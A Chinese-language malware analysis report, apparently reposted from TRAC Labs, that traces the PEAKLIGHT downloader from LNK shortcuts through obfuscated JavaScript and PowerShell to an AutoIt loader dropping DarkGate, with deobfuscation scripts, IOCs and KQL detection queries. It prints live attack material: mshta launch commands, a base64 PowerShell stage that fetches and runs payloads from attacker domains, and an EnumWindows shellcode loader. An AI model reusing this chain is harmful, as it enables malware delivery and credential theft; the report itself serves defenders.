PEAKLIGHT 是一个基于 PowerShell 的混淆下载器,最初由 Mandiant 识别,它提供恶意软件即服务信息窃取程序。最初的感染媒介被确定为 Microsoft 快捷方式文件 (LNK),它连接到托管 JavaScript 投放器的内容分发网络 (CDN)。通过投放器传送的有效负载最终会执行 PowerShell 下载程序脚本。观察到的有效负载包括 LummaC2、HijackLoader 和 CryptBot。
该下载器也被跟踪为 Emmenhtal 加载器。
TRAC Labs 分析
初始下载
快捷方式负载通过以下 URL 下载:
-
hxxp://download.wsconnect[.]org/下载/Instruction_1928_W9COI.pdf.lnk -
hxxp://download.wsconnect[.]org/下载/Agreement%20for%20YouTube%20cooperation.pdf.lnk
“Agreement for YouTube cooperation.pdf.lnk”快捷方式文件的参数:
Arguments: /p C:Windows /m notep*.exe /c "powershell Start-Process *i**2msh*e hxxps://ctu.timeless-tales[.]shop/api/uz/0912545164/CharcoalWharf.json"
它利用 PowerShell 作为 LOLBin 通过 mshta.exe 执行 CharcoalWharf.json 二进制文件。
“Instruction_1928_W9COI.pdf.lnk” 快捷方式文件的参数:
Arguments: /p C:Windows /m exp*.exe /c "powershell Start-Process *i**2msh*e hxxps://pdb.timeless-tales[.]shop/api/reg/HardhatSeminar.json"
mshta.exe 用于执行HardhatSeminar.json
CharcoalWharf 分析
查看 CharcoalWharf.json 二进制文件,我们看到 mshta.exe 脚本联系人以下载 dxdiag.exe。hxxps://ctu.timeless-tales[.]shop/api/uz/0912545164/CharcoalWharf.json
对可执行文件的初步分析揭示了使用 charCode 编码的嵌入式混淆 JavaScript 负载。以下脚本已被截断:
<script> kG=102;bo=117;HB=110;bd=99;PK=116;Kg=105;Yz=111;bO=32;gd=101;uZ=72;kw=40;cE=89;nF=100;mk=41;eH=123; ES=118;Ur=97;rN=114;Vb=104;ho=98;XN=61;kT=34;BI=59;wX=84;kB=83;kb=85;mB=48;Tn=60;eX=46;AB=108;Pq=103; zI=43;Fr=67;Lh=109;IO=91;sE=93;wG=45;CX=54;MI=50;Cf=53;zc=125;Wc=112;fS=86;XD=55;jy=51;af=44;Yg=52;Ob=57; NJ=49;xO=56;PW=65;Jf=81;eg=107;zw=80;aV=119;UV=88;sA=79;rW=106;lc=82; varHmi = String.fromCharCode(kG,bo,HB,bd,PK,Kg,Yz,HB,bO,Yz,gd,uZ,kw,cE,bo,nF,mk,eH,ES,Ur,rN,bO,Vb,kG,ho,XN,bO,kT,kT, BI,kG,Yz,rN,bO,kw,ES,Ur,rN,bO,wX,kB,kb,bO,XN,bO,mB,BI,bO,wX,kB,kb,bO,Tn,bO,cE,bo,nF,eX,AB,gd,HB,Pq,PK,Vb,BI, bO,wX,kB,kb,zI,zI,mk,bO,eH,ES,Ur,rN,bO,Fr,ho,Kg,bO,XN,bO,kB,PK,rN,Kg,HB,Pq,eX,kG,rN,Yz,Lh,Fr,Vb,Ur,rN,Fr,Yz, nF,gd,kw,cE,bo,nF,IO,wX,kB,kb,sE,bO,wG,bO,CX,MI,Cf,mk,BI,Vb,kG,ho,bO,XN,bO,Vb,kG,ho,bO,zI,bO,Fr,ho,Kg,zc,rN, gd,PK,bo,rN,HB,bO,Vb,kG,ho,zc,BI,ES,Ur,rN,bO,Wc,fS,Yz,bO,XN,bO,Yz,gd,uZ,kw,IO,XD,jy,XD,af,XD,jy,CX,af,XD,Yg, Yg,af,XD,MI,CX,af,XD,jy,Ob,af,XD,Yg,mB,af,XD,MI,Ob,af,XD,MI,CX,af,XD,jy,jy,af,XD,jy,jy,af,CX,XD,NJ,af,XD,MI, CX,af,XD,Yg,Cf,af,XD,MI,CX,af,CX,Cf,XD,af,CX,XD,mB,af,XD,Yg,Yg,af,CX,Cf,XD,af,CX,XD,Yg,af,CX,Cf,XD,af,CX,XD, mB,af,XD,MI,CX,af,XD,jy,XD,af,CX,Cf,XD,af,XD,NJ,mB,af,XD,jy,Cf,af,XD,jy,Ob,af,XD,MI,CX,af,XD,Yg,mB,af,XD,Yg, NJ,af,XD,jy,Ob,af,XD,jy,mB,af,XD,MI,Yg,af,XD,Yg,NJ,af,XD,MI,CX,af,XD,MI,Cf,af,CX,Cf,XD,af,CX,XD,mB,af,XD,jy, Cf,af,XD,jy,CX,af,XD,jy,XD,af,CX,Cf,XD,af,XD,MI,XD,af,XD,Yg,MI,af,XD,jy,Cf,af,XD,MI,Yg,af,XD,Yg,NJ,af,XD,jy, mB,af,XD,jy,CX,af,XD,jy,Cf,af,CX,Cf,XD,af,XD,MI,Yg,af,XD,jy,jy,af,XD,MI,CX,af,XD,MI,MI,af,XD,jy,Cf,af,CX,Cf, XD,af,CX,CX,Cf,af,CX,CX,NJ,af,CX,Ob,NJ,af,XD,Yg,mB,af,XD,Yg,Cf,af,XD,mB,mB,af,XD,Yg,Cf,af,CX,CX,CX,af,XD,Yg, xO,af,XD,jy,Ob,af,XD,MI,CX,af,XD,Yg,NJ,af,XD,Yg,MI,af,XD,jy,Ob,af,XD,jy,Cf,af,CX,Cf,XD,af,CX,XD,mB,af,XD,Yg, mB,af,XD,jy,XD,af
charCode 值被映射到适当的值以进行去混淆:
<script> 102=102;117=117;110=110;99=99;116=116;105=105;111=111;32=32;101=101;72=72;40=40;89=89;100=100;41=41; 123=123;118=118;97=97;114=114;104=104;98=98;61=61;34=34;59=59;84=84;83=83;85=85;48=48;60=60;46=46;108=108; 103=103;43=43;67=67;109=109;91=91;93=93;45=45;54=54;50=50;53=53;125=125;112=112;86=86;55=55;51=51;44=44; 52=52;57=57;49=49;56=56;65=65;81=81;107=107;80=80;119=119;88=88;79=79;106=106;82=82; varHmi = String.fromCharCode(102,117,110,99,116,105,111,110,32,111,101,72,40,89,117,100,41,123,118,97,114, 32,104,102,98,61,32,34,34,59,102,111,114,32,40,118,97,114,32,84,83,85,32,61,32,48,59,32,84,83,85,32,60,32,89, 117,100,46,108,101,110,103,116,104,59,32,84,83,85,43,43,41,32,123,118,97,114,32,67,98,105,32,61,32,83,116,114, 105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,89,117,100,91,84,83,85,93,32,45,32,54,50,53,41, 59,104,102,98,32,61,32,104,102,98,32,43,32,67,98,105,125,114,101,116,117,114,110,32,104,102,98,125,59,118,97, 114,32,112,86,111,32,61,32,111,101,72,40,91,55,51,55,44,55,51,54,44,55,52,52,44,55,50,54,44,55,51,57,44,55,52, 48,44,55,50,57,44,55,50,54,44,55,51,51,44,55,51,51,44,54,55,49,44,55,50,54,44,55,52,53,44,55,50,54,44,54,53,55, 44,54,55,48,44,55,52,52,44,54,53,55,44,54,55,52,44,54,53,55,44,54,55,48,44,55,50,54,44,55,51,55,44,54,53,55,44, 55,49,48,44,55,51,53,44,55,51,57,44,55,50,54,44,55,52,48,44,55,52,49,44,55,51,57,44,55,51,48,44,55,50,52,44,55, 52,49,44,55,50,54,44,55,50,53,44,54,53,55,44,54,55,48,44,55,51,53,44,55,51,54,44,55,51,55,44,54,53,55,44,55,50, 55,44,55,52,50,44,55,51,53,44,55,50,52,44,55,52,49,44,55,51,48,44,55,51,54,44,55,51,53,44,54,53,55,44,55,50,52, 44,55,51,51,44,55,50,54,44,55,50,50,44,55,51,53,44,54,53,55,44,54,54,53,44,54,54,49,44,54,57,49,44,55,52,48,44, 55,52,53,44,55,48,48,44,55,52,53,44,54,54,54,44,55,52,56,44,55,51,57,44,55,50,54,44,55,52,49,44,55,52,50,44,55, 51,57,44,55,51,53,44,54,53,55,44,54,55,48,44,55,52,48,44,55,51,55,44,55,51,51,44,55,51,48,44,55,52,49,44,54,53, 55,44,54,54,53,44,54,54,49,44,54,57,49,44,55,52,48,44,55,52,53,44,55,48,48,44,55,52,53,44,54,53,55,44,54,55,48, 44,55,51,57,44,55,50,54,44,55,51,55,44,55,51,51,44,55,50
然后,charCode 值被转换以显示高度混淆的 PowerShell 脚本:
functionoeH(Yud){var hfb= "";for (varTSU = 0; TSU < Yud.length; TSU++) {varCbi = String.fromCharCode(Yud[TSU] - 625);hfb = hfb + Cbi}return hfb};var pVo = oeH([737,736,744,726,739,740,729,726,733,733,671,726,745,726,657,670,744,657,674,657, 670,726,737,657,710,735,739,726,740,741,739,730,724,741,726,725,657,670,735,736, 737,657,727,742,735,724,741,730,736,735,657,724,733,726,722,735,657,665,661,691,740,745, 700,745,666,748,739,726,741,742,739,735,657,670,740,737,733,730,741,657,665,661,691,740, 745,700,745,657,670,739,726,737,733,722,724,726,657,664,671,671,664,669,657,664,673,745, 661,663,657,664,666,750,684,661,703,738,691,698,708,741,657,686,657,724,733,726,722,735, 665,664,678,691,678,694,675,682,682,682,694,680,691,690,695,675,691,695,691,693,675,692, 694,692,681,677,692,693,674,677,673,679,693,678,679,680,679,690,691,678,679,695,692,680, 694,679,676,693,679,692,694,674,679,677,677,673,673,673,690,674,673,682,693,677,678,677, 675,673,682,682,679,680,693,682,675,681,682,691,682,693,690,681,677,692,679,680,678,678, 682,674,682,677,695,680,679,682,694,692,693,674,674,690,678,681,682,693,674,678,678,675, 673,694,692,674,679,690,695,680,678,677,690,678,690,677,693,675,680,676,690,677,694,677, 694,680,682,692,678,692,677,693,692,674,673,673,694,676,678,682,682,690,679,675,676,676, 695,691,673,675,694,678,695,695,692,674,692,679,693,694,690,691,677,695,682,691,692,673, 692,675,676,680,682,690,690,678,691,693,676,694,692,692,674,695,677,673,682,693,674,677, 682,693,674,675,682,677,681,677,690,680,691,679,690,674,679,673,679,678,680,681,682,680, 692,680,695,691,691,694,674,694,674,677,692,691,682,681,674,675,695,693,675,693,691,680, 682,694,682,674,694,681,674,692,675,682,677,680,674,682,692,695,681,692,680,693,680,692, 694,691,676,677,676,679,690,673,693,694,680,679,677,677,694,673,692,692,678,679,682,692, 673,678,679,679,676,681,692,682,674,695,682,682,678,690,692,675,677,682,692,682,695,674, 682,694,676,682,677,695,680,691,677,677,691,676,675,681,677,675,675,679,674,693,695,678, 675,695,674,677,682,679,693,691,674,679,691,694,673,690,695,677,677,694,692,679,674,675, 680,682,673,677,695,677,676,681,681,676,677,692,692,692,691,69
PowerShell 分析
进一步解码需要从每个数值中减去 625,然后再次解码,以显示具有混淆有效负载的 PowerShell 脚本。此数字派生自 String.fromCharCode() 函数。
上述 PowerShell 执行多项作,专注于解密加密的有效负载并执行它。
该脚本首先定义函数 clean,该函数将字符串作为输入并将其转换为一个 bites 数组(“FF”变为 0xFF)。通过将每两个字符格式化为十六进制字节来解析长十六进制字符串。处理的字节数组表示加密的有效负载。该脚本的主要部分涉及 AES 解密机制。[System.Security.Cryptography.Aes]::Create() 用于创建使用密钥 (7079727A644C6F56584D515146686245) 和设置为 16 字节零的初始化向量 (IV) 初始化的 AES 对象。AES 配置完成后,CreateDecryptor 方法用于解密表示加密有效负载的字节。然后,将生成的数据解释为字符串。
然后,该脚本将处理解密的字符串以进行执行。字符串的前三个字符用作命令的名称,字符串的其余部分被视为参数。
进一步的反混淆需要使用密钥和零初始化的 IV 执行 AES 解密,以提取另一个混淆的有效负载。以下是使用的脚本:
from Crypto.Cipher import AES defclean(hexstring): returnbytes.fromhex(hexstring) encrypted_data = clean("5B5E2999E7BAF2BFBD2CEC84CD140……”) # Truncated key = clean("7079727A644C6F56584D515146686245") iv = bytes(16) # All zero IV cipher = AES.new(key, AES.MODE_CBC, iv) decrypted_data = cipher.decrypt(encrypted_data).decode('utf-8', errors='ignore') print(decrypted_data)
解密脚本的输出:
此脚本包含定义多个函数的混淆 PowerShell 代码:
- iHU
函数将二进制数据(存储在 $GDC 变量中)写入指定的文件路径 ($HEJ)。 - Xks 函数从给定的 URL 下载数据 ($IzR
) - HNS
负责解码一组模糊字符,方法是从数组中的每个字符中减去一个固定值,然后将结果转换为可读字符串。 - xgj
函数使用带有编码 base64 数据的 PowerShell.exe 执行隐藏的 PowerShell 命令,以运行进一步的混淆指令。
用于对 PowerShell 脚本进行反混淆处理的脚本(仅在沙箱/虚拟机中运行):
import base64 # Function to decode the character substitution obfuscation (HNS) defdecode_hns(obfuscated_array, key): """ Decodes an obfuscated array of integers into a string by subtracting a key value. :param obfuscated_array: List of integers representing obfuscated characters. :param key: Integer value to subtract from each element. :return: Decoded string. """ return''.join([chr(x - key) for x in obfuscated_array]) # Function to decode base64 encoded strings defdecode_base64(encoded_string): """ Decodes a base64-encoded string. :param encoded_string: Base64 string to decode. :return: Decoded plain text string. """ return base64.b64decode(encoded_string).decode('utf-16') # UTF-16 based on observed encoding in PowerShell Obfuscated array from the script obfuscated_array = [163, 186, 201, 131, 172, 186, 183, 152, 193, 190, 186, 195, 201] key = 85# Subtraction key used in the HNS function decoded_string = decode_hns(obfuscated_array, key) print("Decoded String (HNS):", decoded_string) # Base64-encoded string from the script base64_payload = ( "JAB5AFQAcQAxACAAPQAgACIAdQBwAGQAYQB0AGUAcgAuAGUAeABlACIACgAkAG4AUAB6ADMAIAA9" "ACAALQBqAG8AaQBuACAAKAAoADYANQAuAC4AOQAwACkAIAArACAAKAA5ADcALgAuADEAMgAyACkA" "IAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgAFsAYwBoAGEAcgBdACQAXwAg" "AH0AIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAAOAApACAAKwAgACIA" "LgBiAGkAbgAiAAoAJABmAFEAcgA0ACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABo" "ACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAtAGoAbwBpAG4A" "IAAoACgANAA4AC4ALgA1ADcAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAg" "AFsAYwBoAGEAcgBdACQAXwAgAH0AKQAgAHwAIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8A" "dQBuAHQAIAA4ACkAKQAKAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAZgBRAHIANAAg" "AC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQAgAHwA" "IABPAHUAdAAtAE4AdQBsAGwACgAkAGcAVgBuADgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAt" "AFAAYQB0AGgAIAAkAGYAUQByADQAIAAtAEMAaABpAGwAZABQAGEAdABoACAAJAB5AFQAcQAxAAoA" "JABiAFMAcAA1ACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABmAFEAcgA0" "ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAbgBQAHoAMwAKACQAbABEAHgAOQAgAD0AIAAiAGgA" "dAB0AHAAcwA6AC8ALwBkAG8AYwB1AC0AcwBpAGcAbgAuAGkAbgBmAG8ALwBhAHAAaQAvAHUAegAv" "ADAAOQAxADIANQA0ADUAMQA2ADQALwB1AHAAZABhAHQAZQAuAGIAaQBuACIACgAkAGMASwBqADYA" "IAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAGMAdQAtAHMAaQBnAG4ALgBpAG4AZgBvAC8AYQBw" "AGkALwB1AHoALwAwADkAMQAyADUANAA1ADEANgA0AC8AYwBvAG4AZgBpAGcALgBiAGkAbgAiAAoA" "SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAbABEAHgAOQAg" "AC0ATwB1AHQARgBpAGwAZQAgACQAZwBWAG4AOAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMA" "aQBuAGcACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABj" "AEsAagA2ACAALQBPAHUAdABGAGkAbABlACAAJABiAFMAcAA1ACAALQBVAHMAZQBCAGEAcwBpAGMA" "UABhAHIAcwBpAG4AZwAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABh" "AHQAaAAgACQAZwBWAG4AOAAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAGIAUwBwADUA" "IAAtAE4AbwBOAGUAdwBXAGkAbgBkAG8AdwAgAC0AVwBhAGkAdAAKACQAbgB1AGwAbAAgAD0AIAAk" "AHkAVABxADEALAAgACQAbgBQAHoAMwAsACAAJABmAFEAcgA0ACwAIAAkAGcAVgBuADgALAAgACQA" "YgBTAHAANQAsACAAJABsAEQAeAA5ACwAIAAkAGMASwBqADYA" ) decoded_payload = decode_base64(base64_payload) print("Decoded Base64 Payload:n", decoded_payload)
去混淆的 PowerShell 脚本:
该脚本首先定义几个变量来管理文件和目录路径。$yTq 1 将文件名设置为 updater.exe,而 $nPz 3 生成一个随机文件名,该文件名由 8 个字母字符组成,并附加了 .bin 扩展名。$fQr 4 定义 TEMP 目录中的随机目录路径。
然后,该脚本将在 TEMP 文件夹中创建指定的目录。它为有效负载构建文件路径:$gVn 8 指定updater.exe的完整路径,$bSp 5 对随机命名的 .bin 文件执行相同的作。该脚本继续从 URL 下载两个文件 。第一个文件 update.bin 保存为 updater.exe,第二个文件 config.bin 与随机化的 .bin 文件名一起保存在新创建的目录中。hxxps://docu-sign[.]info/api/uz/0912545164/
然后,使用 Start-Process cmdlet 执行updater.exe,并将随机.bin文件作为参数传递。此过程在隐藏 (NoNewWindow) 模式下执行并等待完成。
从此脚本中,我们可以将有效负载识别为:
-
hxxps://docu-sign[.]信息/api/uz/0912545164/update.bin -
hxxps://docu-sign[.]信息/api/uz/0912545164/config.bin
update.bin 是 AutoIt3 可执行文件,是用作恶意软件投放程序的合法程序。
config.bin 包含不同的恶意负载。
AutoIT 负载
使用 AutoIT 脚本反编译器,我们可以看到 config.bin 在做什么。
AutoIT 分析
下面显示的 GUI 创建(GUICREATE 调用)与脚本的功能无关,并且似乎创建了具有无意义名称和维度的 GUI。
_ENCRYPT 函数从脚本中解密加密数据。它需要两个输入:$VVALUE,可能是一个混淆或加密的字符串,以及 $SKEY,硬编码密钥“JswaEdde”。
_ENCRYPT 函数从脚本中解密加密数据。它需要两个输入:$VVALUE,可能是一个混淆或加密的字符串,以及 $SKEY,硬编码密钥“JswaEdde”。
解密过程从确定密钥的长度 ($IKEYALT) 开始,并使用 XOR (BITXOR) 应用转换。然后,通过使用修改后的密钥对 $VVALUE 的每个字节进行 XOR 运算,应用按位 NOT 运算 (BITNOT),并使用结果构造解密的字符串来处理它。该函数的输出为 $S_ENCRYPTED。
下面显示了几个加密的十六进制编码字符串:
第一步涉及解密脚本中嵌入的数据块。BINARYTOSTRING 函数采用表示加密数据的十六进制编码长字符串,并将其转换为二进制格式。然后,数据使用硬编码键 “JswaEdde” 传递到 _ENCRYPT 函数中。_ENCRYPT 函数组合按位运算来解密数据。解密后,结果内容将存储在变量 $DATA 中,并立即使用 EXECUTE 函数执行。
按照类似的过程,该脚本使用相同的密钥解密另一个嵌入式 blob。
该脚本继续这种解密和执行多个嵌入式数据 blob 的模式。
可以解密这些有效负载以显示其功能。以下是用于解密有效负载的脚本:
defdecrypt(value, key): defbinary_to_bytes(binary_str): # Remove the "0x" prefix and convert to bytes returnbytes.fromhex(binary_str[2:]) defbitxor(a, b): return a ^ b key_bytes = key.encode() value_bytes = binary_to_bytes(value) key_alt = len(key_bytes) for i inrange(1, key_alt + 1): key_alt = bitxor(key_bytes[i - 1], key_alt) encrypted = [] for i inrange(len(value_bytes)): encrypted_byte = ~bitxor(value_bytes[i], key_alt) & 0xFF encrypted.append(encrypted_byte) returnbytes(encrypted).decode('utf-8', errors='ignore') # Encrypted values from the script encrypted_values = [ "0xA7BD969B8A81888CD0BE91949DAA9D999CD0BE91949DB7889D96D0B8AB9B8A91888CBE8D9494A8998C90D4D8C9CED1D4C9CFCBCAC9C0D1D4DAB28B8F99BD9C9C9DDAD1", "0xBC9494AB8C8A8D9B8CBB8A9D998C9DD0DA9A818C9DA3C9CFCBCAC9C0A5DAD1", "0xBC9494BB999494D0DA939D8A969D94CBCAD69C9494DAD4DABAB7B7B4DAD4DAAE918A8C8D9994A88A978C9D9B8CDAD4DA888C8ADAD4BC9494AB8C8A8D9B8CBF9D8CA88C8AD0DC888CD1D4DA91968CDAD4C9CFCBCAC9C0D8D4DA9C8F978A9CDAD4C880CCC8D4DA9C8F978A9CD2DAD4968D9494D1", "0xBC9494AB8C8A8D9B8CAB9D8CBC998C99D0DC888CD4C9D4DC9C998C99D1", "0xBC9494BB999494D0DA8D8B9D8ACBCAD69C9494DAD4DA91968CDAD4DABD968D95AF91969C978F8BDAD4DA888C8ADAD4BC9494AB8C8A8D9B8C" ] # Decrypt each value key = "JswaEdde" decrypted_values = [decrypt(value, key) for value in encrypted_values] # Display results print(decrypted_values)
解密输出:
#NoTrayIcon ; Define encryption function Func _ENCRYPT($VVALUE, $SKEY) $TBYTE = DllStructCreate("BYTE") Local $S_ENCRYPTED Local $IKEYALT = BinaryLen($SKEY) For $I = 1 To $IKEYALT $IKEYALT = BitXOR(BinaryMid($SKEY, $I, 1), $IKEYALT) Next For $I = 1 To BinaryLen($VVALUE) $S_ENCRYPTED &= Chr(DllStructSetData($TBYTE, 1, BitNOT(BitXOR(BinaryMid($VVALUE, $I, 1), $IKEYALT)))) Next Return $S_ENCRYPTED EndFunc ; Main script Local $DATA $DATA = _Encrypt(FileRead(FileOpen(@ScriptFullPath, 16), 173218), "JswaEdde") ; Create a DLL structure Local $PT $PT = DllStructCreate("byte[173218]") ; Modify memory protection DllCall("kernel32.dll", "BOOL", "VirtualProtect", "ptr", DllStructGetPtr($PT), "int", 173218, "dword", 0x40, "dword*", Null) ; Set the data DllStructSetData($PT, 1, $DATA) ; Enumerate windows DllCall("user32.dll", "int", "EnumWindows", "ptr", DllStructGetPtr($PT)) Decrypted script fragments appear to perform various operations.
AutoIt 脚本首先隐藏其存在 (#NoTrayIcon ),并使用加密功能,密钥硬编码为 “JswaEdde”。
反混淆脚本使用 FileRead 读取其内容,从特定位置(173218 字节)开始提取数据。此数据与键 “JswaEdde” 一起传递给 _ENCRYPT 函数(如前所述)。该函数解密经过混淆处理的有效负载,并将结果存储在变量 $DATA 中。
接下来,该脚本使用 DllStructCreate 创建一个内存结构,该结构足够大,可以容纳解密的有效负载(173218 字节)。然后调用 VirtualProtectAPI 来修改内存的权限,将它们设置为可执行 (0x40),允许内存包含可执行的代码。
然后,存储在 $DATA 中的解密数据将加载到之前创建的内存结构中。这是使用 DllStructSetData 实现的,它将解密的指令复制到分配的内存区域中。最后一步涉及从 user32.dll 调用 EnumWindows 函数。通常,EnumWindows 用于通过传递指向回调函数的指针来枚举屏幕上的所有顶级窗口。但是,在此脚本中,回调函数指针 (DllStructGetPtr($PT)) 将替换为包含解密负载的内存地址。
实际上,这种对 EnumWindows 的滥用会诱骗函数执行存储在内存中的恶意代码,最终丢弃 DarkGate 有效负载。
DarkGate 配置:
2=JswaEdde – xor key 0=inter2 – campaign ID 1=Yes – Process Hollowing injection enabled 3=Yes – PE Injection 5=Yes – process injection wikth nCmdShow set to SW_HIDE 6=No – persistence via registry run key 7=No – VM check (1) 8=No – VM check (2) 9=No – check disk space 10=100 – minimum disk size 11=No – check RAM 12=4096 – minimum RAM size 13=No – check XEON 14=C:WindowsSysWOW64OpenWith.exe – path to target file 15=Yes 16=No 18=Yes
HardHat 研讨会
第二个二进制文件 “HardhardSeminar.json” 可以像 CharcoalWharf 一样进行反混淆处理。一旦我们反编译 AutoIT 脚本,我们可以看到最终的有效负载如下:
-
hxxps://pdb.timeless-tales[.]商店/api/reg/update.bin -
hxxps://pdb.timeless-tales[.]商店/api/reg/config.bin
update.bin 包含 AutoIT 可执行文件。
config.bin 是最终的恶意软件负载。
config.bin 的 payload 似乎配置错误,有效地结束了我们对这个二进制文件的分析。
结论
该活动表明,PowerShell 和 AutoIt 等合法工具和技术持续滥用,以传递和执行恶意软件,同时规避传统的检测机制。通过利用混淆、仅内存执行以及 mshta.exe 和 EnumWindows 等看似良性的进程,攻击者有效地绕过了端点防御。TRAC Labs 持续监控 PEAKLIGHT 活动以识别新的 TTP,同时主动共享情报,以帮助组织加强防御并减轻未来的威胁。
感染指标
可以在此处找到与 PEAKLIGHT 相关的入侵指标。
检测建议
-
监视对 URL 的请求:
-
hxxp://download.wsconnect[.]org/下载/Instruction_1928_W9COI.pdf.lnk -
hxxp://download.wsconnect[.]org/下载/Agreement%20for%20YouTube%20cooperation.pdf.lnk -
hxxps://docu-sign[.]信息/api/uz/0912545164/update.bin -
hxxps://docu-sign[.]信息/api/uz/0912545164/config.bin
2. 监控从 PowerShell 进程生成的可疑 base64 编码命令。
3. 监控updater.exe与可疑 IP 联系的过程。
4. 监控 AutoIT 脚本的执行情况。
规则和检测查询
Yara 规则可在此处访问。
KQL 查询
检测 TEMP 文件夹中的目录创建
DeviceFileEvents | where ActionType == "FileCreated" | where FolderPath has @"C:WindowsTemp" | project TimeGenerated, DeviceName, AccountName, FolderPath, FileName
确定 PowerShell 脚本执行
DeviceProcessEvents | where FileName == "powershell.exe" | where ProcessCommandLine has_any ("New-Item", "Invoke-WebRequest", "Start-Process", "NoNewWindow", "Wait-Process") | project TimeGenerated, DeviceName, AccountName, ProcessCommandLine
检测来自可疑域的下载,例如 docu-sign[.]信息
DeviceNetworkEvents | where RemoteUrl has "docu-sign.info" | where ActionType == "ConnectionSuccess" | project TimeGenerated, DeviceName, RemoteIP, RemoteUrl, Protocol, InitiatingProcessFileName
在 TEMP 中检测新下载文件的执行情况
DeviceProcessEvents | where FolderPath has @"C:WindowsTemp" | where FileName == "updater.exe" | project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, FolderPath
关联执行 .bin 文件作为参数传递
DeviceProcessEvents | where FileName == "updater.exe" | where ProcessCommandLine has ".bin" | project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, FileName
查找随机化的文件名
DeviceFileEvents | where FileName endswith ".bin" | where FolderPath has @"C:WindowsTemp" | project TimeGenerated, DeviceName, AccountName, FolderPath, FileName
检测重命名的 AutoIT 可执行文件
DeviceProcessEvents | where ProcessCommandLine has_any ("AutoIt", "AU3", "AutoIT3Wrapper") or ProcessCommandLine matches regex @"w+.exe.*.au3" or ProcessCommandLine has_any ("#include", "#requireadmin", "Send(", "ControlClick(") | where not(FileName in ("AutoIt3.exe", "AutoIt.exe")) // Exclude known legit executables | project TimeGenerated, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, ParentProcessName
引用
- https://cloud.google.com/blog/topics/threat-intelligence/peaklight-decoding-stealthy-memory-only-malware
- https://russianpanda.com/The-Abuse-of-ITarian-RMM-by-Dolphin-Loader
- https://malpedia.caad.fkie.fraunhofer.de/details/win.emmenhtal
- https://github.com/RussianPanda95/Yara-Rules/tree/main/DarkGate
- https://github.com/TRACLabs1/Malware/tree/main/PeakLight
- https://github.com/TRACLabs1/Malware/blob/main/PeakLight/IOCs.txt
原文始发于微信公众号(安全狗的自我修养):基于PowerShell 的混淆下载器-PEAKLIGHT
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论